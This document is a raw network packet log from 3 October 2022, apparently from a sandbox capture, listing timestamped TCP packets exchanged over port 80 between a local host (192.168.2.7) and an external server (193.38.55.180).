Oct 3, 2022 17:35:24.136770010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136790037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136799097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136816025 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136821985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136841059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136846066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136862040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136873960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136888981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136897087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136917114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136920929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136940002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.136945963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.136996984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.137012959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192087889 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192130089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192147970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192168951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192193985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192214012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192240000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192266941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192292929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192318916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192326069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192346096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192364931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192373037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192380905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192399979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192411900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192425013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192440033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192450047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192467928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192473888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192483902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192498922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192508936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192523003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192533970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192548037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192559004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192572117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192580938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192596912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192609072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192621946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192632914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192647934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192656040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192675114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192682028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192701101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192711115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192727089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192739964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192751884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192771912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192778111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192795038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192804098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192812920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192830086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192840099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192854881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.192864895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.192890882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.198947906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.198987961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199039936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199069977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199074984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199100971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199101925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199101925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199110985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199129105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199140072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199165106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199285984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199314117 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199326038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199341059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199351072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199373007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199377060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199399948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199421883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199428082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199453115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199465990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199801922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199835062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199853897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199862957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199872971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199892998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199899912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199917078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199929953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199939966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.199953079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.199975967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200025082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200048923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200062990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200072050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200086117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200107098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200191021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200217962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200228930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200244904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200253963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200272083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200282097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200299025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200306892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200325012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200336933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200352907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200371981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200381994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200396061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200407982 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200419903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200436115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200445890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200462103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200474024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200489044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200498104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200516939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200524092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200544119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200551987 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200570107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200578928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200597048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200606108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200623989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200633049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200649977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200659037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200675011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200685024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200701952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200712919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200728893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200737953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200754881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200763941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200781107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200797081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200808048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200823069 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200834990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200839043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200861931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200871944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200887918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200896978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200913906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200925112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200941086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200949907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200967073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.200975895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.200994968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201020956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201049089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201050043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201060057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201066971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201073885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201100111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201101065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201116085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201127052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201136112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201153994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201167107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201179981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201195955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201205969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201217890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201231003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201242924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201258898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201270103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201287031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201298952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201314926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201325893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201342106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201353073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201370001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201380014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201396942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201406956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201422930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201435089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201450109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201462030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201476097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201488018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201502085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201512098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201528072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201539993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201555014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201565981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201582909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201595068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201611042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201621056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201649904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201710939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201736927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201750040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201762915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201776981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201791048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201801062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201817989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201828957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201843977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201854944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201869965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201881886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201895952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201908112 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201921940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201935053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201948881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201960087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.201975107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.201987028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202001095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202013016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202028990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202039957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202055931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202068090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202084064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202095032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202110052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202122927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202136040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202147007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202163935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202174902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202191114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202202082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202218056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202229023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202244997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202256918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202271938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202284098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202299118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202310085 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202326059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202336073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202356100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202373981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202385902 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202411890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202413082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202428102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202440023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202454090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202467918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202478886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202497005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202511072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202523947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202538967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202553034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202567101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202579021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202591896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202605963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202624083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202634096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202641964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202661037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202685118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202687979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202713013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202714920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202725887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202743053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202753067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202769041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202791929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202795029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202820063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202821016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202833891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202847958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202862024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202902079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202902079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202929974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202948093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202958107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202972889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.202985048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.202997923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203011036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203026056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203037977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203052998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203066111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203079939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203088999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203115940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203129053 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203130007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203161955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203171968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203195095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203202009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203227043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203234911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203255892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.203265905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.203285933 CEST	80	49703	193.38.55.180	192.168.2.7
